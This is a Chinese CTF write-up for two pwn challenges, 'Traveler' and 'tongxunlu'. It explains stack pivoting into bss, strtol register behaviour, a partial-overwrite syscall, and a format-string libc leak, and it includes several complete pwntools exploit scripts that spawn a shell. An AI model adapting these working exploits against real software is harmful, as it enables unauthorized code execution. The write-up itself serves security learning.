Traveler 保护机制
ida 两个关键函数
int __cdecl main (int argc, const char **argv, const char **envp) { char buf[32 ]; init(argc, argv, envp); puts ("who r u?" ); read(0 , buf, 0x30 uLL); puts ("How many travels can a person have in his life?" ); read(0 , &msg, 0x28 uLL); return 0 ; }
int boynextdoor () { return system("echo flag" ); }
boynextdoor函数只能输出flag字符串 而非flag文件内容 单纯的提供了system函数 所以这里大胆猜测这题不用泄露libc基址
回到main函数 提供了两次read 一次可以溢出0x10字节的数据 一次往bss段写数据 再加上提供了system函数 所以这里一开始是想的很简单 直接栈迁移到bss段上 构造system(“/bin/sh”) 但是很快发现打不通
执行流卡在了这里 此时的rsp位于0x403d00 问题可能出在这里 因为这题的bss段的位置实在是太奇怪了 按理来说64位的二进制程序中bss段一般都是0x600000往后的
可以看到0x403000 - 0x404000 是只有可读权限的 只有在0x404000 - 0x405000之间才有写权限
所以此时rsp执行到了0x403d00以后 没有办法继续写入内容了 故无法成功执行system
那么此时就是想办法抬高栈帧 一开始是打算构造read来往高地址重新写入rop链 随后返回main函数重新栈迁移
但是再次执行read函数的时候 rsi寄存器受到了污染 不在指向原本的栈地址
.text:000000000040121A mov edx, 30h ; '0' ; nbytes .text:000000000040121F mov rsi, rax ; buf .text:0000000000401222 mov edi, 0 ; fd .text:0000000000401227 call _read
不过联想到了西湖论剑的calc的做法 在bss段构造rop链 写入的地址紧跟在rop链后 这样就可以循环执行
具体可以去看我相关的博客
完整exp:
from pwn import *context.log_level = 'debug' io=process('./pwn' ) elf = ELF('./pwn' ) context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] io.recvuntil("who r u?" ) backdoor_addr = 0x4011dd leave_addr = 0x0000000000401253 bss_addr = 0x4040A0 payload = cyclic(0x20 )+p64(bss_addr)+p64(leave_addr) io.send(payload) rdi_addr = 0x4012c3 system_addr = 0x4011EC puts_plt = 0x401070 puts_got = elf.got['puts' ] start_addr = 0x4010b0 read_got = elf.got['read' ] system_got = elf.got['system' ] main_addr = elf.sym['main' ] ret_addr = 0x000000000040101a io.recvuntil("How many travels can a person have in his life?" ) read_addr = 0x4010a0 rsi_r15_addr = 0x00000000004012c1 add_rsp = 0x0000000000401016 rsp_addr = 0x00000000004012bd payload = b'/bin/sh\x00' +p64(rsi_r15_addr)+p64(0x4040c8 )+p64(0 )+p64(read_addr) io.send(payload) payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x4040f0 )+p64(0x4040f0 )+p64(read_addr) io.send(payload) for i in range (1 ,50 ): payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x4040f0 +0x28 *i)+p64(0x4040f0 +0x28 *i)+p64(read_addr) io.send(payload) payload = p64(ret_addr)+p64(ret_addr)+p64(rdi_addr)+p64(0x4040a0 )+p64(system_addr) io.send(payload) io.interactive()
另外再借助猫神的exp以其他做法复现了一遍 收获也很大 记录一下
我觉得十分有必要逐步分析
首先 我们的栈空间不够 所以需要往高地址写入rop链再迁移过去 这是最开始的思路
起初我是认为第二次main函数的read的rsi参数被破坏了 这是因为我用的是垃圾数据覆盖rbp 在复现第二题的时候意识到了这个问题
而其rsi寄存器的值实际上是取rbp-0x20处的数据
.text:000000000040121A mov edx, 30h ; '0' ; nbytes .text:000000000040121F mov rsi, rax ; buf .text:0000000000401222 mov edi, 0 ; fd .text:0000000000401227 call _read
所以如果我们适当调整rbp的值 这里的read就可以做到任意写
我们预想的情况还是在bss段上通过连续的rop链来牢牢掌握住程序控制流
pad0 = b"a" *0x20 +p64(0x4040c0 +0x20 )+p64(0x401216 )
这一段payload用来供第一次main函数的第一个read函数读入
用来覆盖rbp的0x4040c0这个可以先忽略 在实际做题中暂且认为其是一个变量 值为0x4040a0+len(payload) 此处的payload为第一次main函数第二次read读入的rop链长度
此时程序执行到了第二次read这里 读入的首地址是0x4040a0
read_rop = p64(pop_rsi_r15)+p64(0x4048d8 )+p64(0 ) read_rop += p64(read_plt)+p64(pop_rbp)
gdb动调查看各个寄存器的值 发现我们只需要修改rsi寄存器的值就可以构造read函数 读入的地址挑选一个高地址处的 抬高栈帧
接下来 程序继续运行 跳转到了0x401216 再次执行一次read
但是要注意在栈帧结束时的leave指令 此时使得rbp指向了0x4040e0
于是我们这时候执行的read参数为
p64(pop_rbp)+p64(0x4048d8 )+p64(leave_ret)+p64(0 )+p64(0x4040a0 -8 )+p64(leave_ret)
这一段payload主要是用来进行栈迁移到高地址处 通过弹出0x4048d8给rbp寄存器 leave_ret将栈迁移到了0x4048d8
接着程序执行流执行到了第二次main函数的第二次read
read_rop = p64(pop_rsi_r15)+p64(0x4048d8 )+p64(0 ) read_rop += p64(read_plt)+p64(pop_rbp)
这个read读入的首地址仍然是0x4040a0 所以和第一次main读入一样的数据就行了
随后 第二次main函数准备结束栈帧 执行leave|ret两条指令
mov rsp,rbp rsp指向0x4040e8 rbp指向0x404098
还记得我们之前往0x4040c0写入的rop链吗 此刻派上用场了 位于0x4040e8的正是leave指令
执行完leave以后 rbp为0 rsp为0x4040a0
此刻程序执行流来到了我们最初往0x4040a0写入的rop链 其再次构造了一次read
这个read读入地址的首地址为0x4048d8
rop_sh = p64(0x4048d8 )+p64(pop_rdi)+p64(0x4048f8 )+p64(system_plt)+b'/bin/sh' +p64(0 )
此时程序执行到read函数结束 准备ret到下一个字长处的指令 那么此时就是pop rbp
接着往下一个字长处是leave_ret 相当于一个栈迁移
而此时0x4040c8处我们填充的就是0x4048d8 而0x4048d8处我们填充的也是0x4048d8
所以rsp和rbp此时就完成了一次栈迁移 rsp指向了构造的system
到这里整个程序的执行流就结束了 不过还是没有理解的地方 按理来说
read_rop = p64(pop_rsi_r15)+p64(0x4048d8 )+p64(0 ) read_rop += p64(read_plt)+p64(pop_rbp)
中的pop_rbp和下面的
p64(pop_rbp)+p64(0x4048d8 )+p64(leave_ret)+p64(0 )+p64(0x4040a0 -8 )+p64(leave_ret)
中的pop_rbp所存储的是同一个内存空间 都是0x4040c0 不知道为啥删去前面一个就会导致程序卡死
问题貌似出在这一段rop链错位了 0x4040c0应该存放的是pop rbp 而0x4040c8不应该为0 而是存放0x4048d8
这个疑点目前以我的动调水平还看不出来是啥问题 留着以后探讨吧 不过这次复现真的提升很大
对于栈迁移更加熟悉了 特别是学会了利用pop rbp的方法来栈迁移 不得不说和猫神这样的大牛子差距真的太大了
tongxunlu 考的就是一个函数的返回值在寄存器存放中的知识点
在这题之前我们先来看一个小程序
int __cdecl main (int argc, const char **argv, const char **envp) { char buf[24 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); read(0 , buf, 0x30 uLL); puts ("pause" ); return 0 ; }
调式exp:
from pwn import *from struct import packio = process("./a.out" ) context.log_level = "debug" elf = ELF("./pwn" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() payload = cyclic(0x8 ) gdb.attach(io,'b *$rebase(0x72C)' ) pause() io.send(payload) pause()
将断点打在call read之后 随后我们来看一下寄存器的值
可以看到此时rax寄存器的值是0x8 正是我们通过read输入的数据的字节数 而read函数的返回值则等于接收到的字节数
同理 我们来试一下strtol函数 即本题的关键漏洞函数
#include <stdio.h> #include <stdlib.h> #include <seccomp.h> #include <string.h> int main () { char a[20 ]; long int b; read(0 ,a,0x30 ); b= strtol(a,0 ,10 ); puts ("pause" ); }
from pwn import *from struct import packio = process("./a.out" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" def debug (): gdb.attach(io) pause() payload = b'11' +b'aaaaaaaa' gdb.attach(io,'b *$rebase(0x77D)' ) pause(0 ) io.send(payload) pause()
可以看到11是被rax寄存器存储 aaaaaaaa 被rdi寄存器存储
strtol函数一共需要三个参数
long int strtol (const char *str, char **endptr, int base)
str字符串提供要经过转化的字符串 endptr用来存放剩余字符串 base用来指定转化的进制 就**strtol(a,0,10)**举例
我们给定的进制为10进制 那么其只会接收0-9的字符 如果检测到了不属于这个范围的 则会停止接收 比如读入了两个11后 检测到了a 则停止接收 使返回值为11
而接下来剩余的字符串 会一直接收到识别到\x00 即字符串的结束 将其放入到endptr中 在这个程序中的表现就是被放入到rdi寄存器存储
上述的一切程序编译环境是Ubuntu18.04 更换libc为libc-2.31.so
说回vn的这一题
保护机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'
再来看一下反汇编后的代码
int __cdecl main (int argc, const char **argv, const char **envp) { init_buf(argc, argv, envp); eeee_wantboy(); hao_kang_de(); return 0 ; }
三个函数 init_buf用来清空缓存区
来看剩下两个
__int64 eeee_wantboy () { char v1[256 ]; char buf[36 ]; int v3; int v4; v4 = 0 ; v3 = 0 ; puts ("halo little giegie,my name is eeee,i am 11111" ); puts ("can i get your phone number" ); puts ("if you give me your number,i will give you some hao_kang_de" ); read(0 , buf, 0x40 uLL); printf ("i get you ! little giegie" ); printf ("heyhey , hao_kang_de is %lx \n" , v1); puts ("anything want to say?" ); read(0 , v1, 0x100 uLL); return strtol(buf, 0LL , 10 ); }
有一个栈溢出漏洞 但是只够覆盖rbp和retaddr 不过前面一题是栈迁移 应该不会两题都考
还有一次往v1输入数据的机会 不过没有栈溢出 也覆盖不到buf
最后是调用了strtol函数 联想到我们上面做的小实验 所以这里我们可以控制rax和rdi寄存器的值
接着看下一个函数
int hao_kang_de () { signed __int64 v0; puts ("wait!! i will give you something" ); v0 = sys_write(0 , 0LL , 0LL ); return puts ("hhhh~i just tell a joke" ); }
转化成汇编形式
.text:000000000000087B push rbp .text:000000000000087C mov rbp, rsp .text:000000000000087F lea rdi, s ; "wait!! i will give you something" .text:0000000000000886 call _puts .text:000000000000088B mov rax, 1 .text:0000000000000892 mov rdi, 0 ; fd .text:0000000000000899 mov rsi, 0 ; buf .text:00000000000008A0 mov rdx, 0 ; count .text:00000000000008A7 syscall ; LINUX - sys_write .text:00000000000008A9 lea rdi, aHhhhIJustTellA ; "hhhh~i just tell a joke" .text:00000000000008B0 call _puts .text:00000000000008B5 nop .text:00000000000008B6 pop rbp .text:00000000000008B7 retn
是采用syscall的方法调用的write 联想到我们可以修改rax和rdi 所以这里可以直接partical write的方法跳转到0x899这里 进行系统调用
完整exp:
from pwn import *context.log_level = 'debug' elf = ELF('./pwn' ) libc = ELF('./libc-2.31.so' ) context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] def exploit (): io=process('./pwn' ) io.recvuntil("if you give me your number,i will give you some hao_kang_de" ) payload = b'59' +b'/bin/sh\x00' payload += cyclic(0x2e )+p16(0x899 ) io.send(payload) io.recvuntil("anything want to say?" ) payload = p64(0 ) io.send(payload) io.sendline("cat flag" ) result = io.recv(timeout=1 ) io.interactive() if __name__ == '__main__' : try_count = 0 while (True ): try : exploit() except : try_count += 1 print ("failed :{}" .format (try_count))
这题还看到其他师傅有比较新奇的思路 用的是格式化字符串泄露libc基址 试着跟着复现了一下 感觉收获还是很多的
因为这题开启了PIE 所以没有办法利用第一个栈溢出到处跑 只能说试着爆破最后两个字节或者是覆盖最后一个字节来做到同页内迁移
正常情况下eeee_wantboy函数的返回地址是
如果我们只覆盖最后一个字节就可以做到同页内的迁移 可以跳转到0x555555554900 - 0x555555554a00的任意地址
也就是eeee_wantboy函数的一部分和main函数
原本的程序执行顺序是先read再提供栈的地址 通过跳转的办法我们就可以获得栈地址后再考虑如何构造rop链
同时你要注意到read函数的rsi参数是根据rbp的地址来寻找的
.text:0000000000000943 lea rax, [rbp+var_130] .text:000000000000094A mov edx, 100h ; nbytes .text:000000000000094F mov rsi, rax ; buf .text:0000000000000952 mov edi, 0 ; fd .text:0000000000000957 call _read
如果用垃圾数据覆盖rbp 就丢失了这次read的机会
这里把漏洞点放到没有指定任何参数 而是单独输出字符串的printf函数上面 我们只需要控制rdi寄存器就可以触发格式化字符串漏洞
这里也是借助strtol函数的特性来操控rdi寄存器
from pwn import *context.log_level = 'debug' elf = ELF('./pwn' ) libc = ELF('./libc-2.31.so' ) io = process("./pwn" ) context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] io.recvuntil("if you give me your number,i will give you some hao_kang_de" ) payload = cyclic(0x38 )+p8(0x79 ) io.send(payload) io.recvuntil("heyhey , hao_kang_de is " ) stack_addr = int (io.recv(12 ),16 ) success("stack_addr :" +hex (stack_addr)) io.recvuntil("anything want to say?" ) io.send(b'chen' ) io.recvuntil("if you give me your number,i will give you some hao_kang_de" ) payload = b'%7$p|%11$p' .ljust(0x30 ,b'\x00' )+p64(stack_addr+0x218 )+p8(0x12 ) io.send(payload) io.recvuntil("anything want to say?" ) gdb.attach(io,'b *$rebase(0x912)' ) pause(0 ) io.send(b'chen' ) pause()
这里的rbp之所以用stack_addr+0x218覆盖 也是为了使得第二次执行eeee函数时的read的rsi参数正确 我们预想的是直接写到rsp处 这样在执行read指令时 其内部存在的ret指令就可以将rop链的首部弹出到rip 控制程序执行流
这个偏移并不是唯一的 可以自己更换数值多动调 按我下面的办法
此时rsp是指向0x7ffc8d148b50处 而我们的rbp设置成了stack_addr+0x218 为0x7ffc8d148c28
所以read读入的地址是rbp-0x130 也就是0x7ffc8d148af8
此时s进入call read指令
当其执行到ret准备执行下一个指令时的rsp指针指向0x7ffc8d148b48
所以我们read需要填充的垃圾数据就是0x7ffc8d148b48-0x7ffc8d148af8=0x50
另外执行system的时候还需要注意栈对齐
完整exp:
from pwn import *context.log_level = 'debug' elf = ELF('./pwn' ) libc = ELF('./libc-2.31.so' ) io = process("./pwn" ) context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] io.recvuntil("if you give me your number,i will give you some hao_kang_de" ) payload = cyclic(0x38 )+p8(0x79 ) io.send(payload) io.recvuntil("heyhey , hao_kang_de is " ) stack_addr = int (io.recv(12 ),16 ) success("stack_addr :" +hex (stack_addr)) io.recvuntil("anything want to say?" ) io.send(b'chen' ) io.recvuntil("if you give me your number,i will give you some hao_kang_de" ) payload = b'%7$p|%11$p' .ljust(0x30 ,b'\x00' )+p64(stack_addr+0x218 )+p8(0x12 ) io.send(payload) io.recvuntil("anything want to say?" ) io.send(b'chen' ) libc_start_main_addr = int (io.recvuntil("|" ,drop = True ),16 )-243 success("libc_start_main_addr :" +hex (libc_start_main_addr)) elf_base = int (io.recv(14 ),16 )-0x978 success("elf_base :" +hex (elf_base)) libc_addr = libc_start_main_addr - libc.sym['__libc_start_main' ] success("libc_addr :" +hex (libc_addr)) system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b'/bin/sh' )) rdi_addr = elf_base + 0x0000000000000a13 io.recvuntil("anything want to say?" ) ret_addr = elf_base + 0x000000000000069e payload = b'a' *0x50 +p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload) io.interactive()
